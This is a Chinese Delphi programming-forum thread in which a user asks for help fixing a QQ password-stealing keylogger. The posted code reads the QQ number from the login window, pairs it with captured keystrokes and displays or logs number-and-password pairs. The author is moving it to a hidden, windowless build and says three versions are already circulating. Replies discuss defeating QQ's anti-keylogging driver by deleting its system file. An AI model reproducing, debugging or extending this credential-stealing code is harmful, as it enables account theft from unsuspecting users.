200分求助一个记录QQ密码的问题(200分)

  • 主题发起人 主题发起人 小狗熊
  • 开始时间 开始时间

小狗熊

Unregistered / Unconfirmed
GUEST, unregistred user!
function Get_qqnumber:string;<br>var<br> &nbsp;buffer:array[0..50] of char;<br> &nbsp;Window,Number_window:Longint;<br>begin<br> &nbsp;result:='';<br> &nbsp;Window:=findwindow('#32770',nil);<br> &nbsp;if window=0 then exit;<br> &nbsp;Number_window:=FindWindowex(window,0,'ComboBox',nil);<br> &nbsp;if Number_window=0 then exit;<br> &nbsp;SendMessage(Number_window, $000D, 50, Integer(@buffer));<br> &nbsp;result:=string(buffer);<br>end;<br><br>procedure TimerProc2(uID,uMsg,dwUser,dw1,dw2:DWORD);stdcall;<br><br>var<br>kk,qqtemp:string;<br>window,hbutton:thandle;<br><br>begin<br> &nbsp; &nbsp;{$IFDEF Win32}<br> &nbsp; &nbsp;Wnd := GetForegroundWindow;<br> &nbsp; &nbsp;{$ELSE}<br> &nbsp; &nbsp;Wnd := GetActiveWindow;<br> &nbsp; &nbsp;{$ENDIF}<br><br>window:=FindWindow('#32770', 'QQ用户登录');<br>kk:=qq;<br><br>if &nbsp;(QQ &lt;&gt; Get_qqnumber) and (Get_qqnumber&lt;&gt;'') then buffer:=''; &nbsp; //如果结果是否,从这次开始,键盘记录就算数了<br>if length(Get_qqnumber)&gt;4 then QQ:= Get_qqnumber;<br><br>if &nbsp;(kk&lt;&gt;'') and (buffer&lt;&gt;'') and (wnd&lt;&gt;window) then<br>begin<br><br>password_str:='号码'+QQ+'密码'+buffer;<br><br>MessageBox(0, pchar(password_str), '提示', mb_iconinformation);<br><br><br>end;<br><br><br> &nbsp; &nbsp;password_str:='';<br> &nbsp; &nbsp;buffer:='';<br>end;<br><br><br><br><br><br>第二段代码<br>procedure TForm1.Timer2Timer(Sender: TObject);<br>//转移<br>function Get_qqnumber:string;<br>var<br> &nbsp;buffer:array[0..50] of char;<br> &nbsp;Window,Number_window:Longint;<br>begin<br> &nbsp;result:='';<br> &nbsp;Window:=findwindow('#32770',nil);<br> &nbsp;if window=0 then exit;<br> &nbsp;Number_window:=FindWindowex(window,0,'ComboBox',nil);<br> &nbsp;if Number_window=0 then exit;<br> &nbsp;SendMessage(Number_window, $000D, 50, Integer(@buffer));<br> &nbsp;result:=string(buffer);<br>end;<br><br>var<br>temp1,qqtemp,kk:string;<br>window,hbutton,wnd:thandle;<br><br>begin<br> &nbsp; &nbsp;{$IFDEF Win32}<br> &nbsp; &nbsp;Wnd := GetForegroundWindow;<br> &nbsp; &nbsp;{$ELSE}<br> &nbsp; &nbsp;Wnd := GetActiveWindow;<br> &nbsp; &nbsp;{$ENDIF}<br>//改进<br>window:=FindWindow('#32770', 'QQ用户登录');<br>kk:=qq;<br>edit1.text:=kk;<br>edit2.Text:=buffer;<br><br>if &nbsp;(QQ &lt;&gt; Get_qqnumber) and (Get_qqnumber&lt;&gt;'') then buffer:=''; &nbsp; //如果结果是否,从这次开始,键盘记录就算数了<br>if length(Get_qqnumber)&gt;4 then QQ:= Get_qqnumber;<br><br>if &nbsp;(kk&lt;&gt;'') and (buffer&lt;&gt;'') and (wnd&lt;&gt;window) then<br>begin<br>//MessageBox(0, pchar('号码'+kk+'密码'+buffer), '提示', mb_iconinformation);<br>form1.Memo1.Lines.Add('号码'+kk+'密码'+buffer);<br>QQ:='';<br>buffer:='';<br><br>end;<br><br><br>问题在于,第一段代码记录的就不准。。。。第二段代码记录的就非常准确,不知道哪儿出毛病了<br>第一段用的是<br>hTimer2:=TimeSetEvent(1,0,TimerProc2,0,TIME_PERIODIC);<br>精确计时<br>第二段用的是FORM上的TIMER控件
 
这个东西是我先用FORM写了一个测试的程序,测试成功后转到无窗体的减少体积,结果怎么也弄不好了,如果需要其他代码我再贴上
 
TIMER的findwindow是真正不断检测 所以能够突破登陆窗口的键盘加密干扰吧?
 
不是键盘加密的问题,是记录到的东西不准的问题,键盘加密把那个SYS删除了就可以了
 
做好后告诉一声
 
QQ有个驱动在干扰
 
王府井老兄。。。那个驱动我已经删除了,三个文件破坏任何一个键盘加密都不起作用的<br>现在的问题是比较两段代码的区别,为什么FORM下抓取密码就没有任何问题,到了无窗体下抓取就不准了,甚至有时候就干脆不抓取了,我不想用FORM做啊。。。太大了。。
 
这么牛的啊!这年头,感情你们都是腾迅公司出来的啊?
 
我已经做了3个版的记录QQ密码的,名字叫QQ熊,搜索下就有地方下载,但是密码老是记录不准
 
没人回答。。封帖了
 
后退
顶部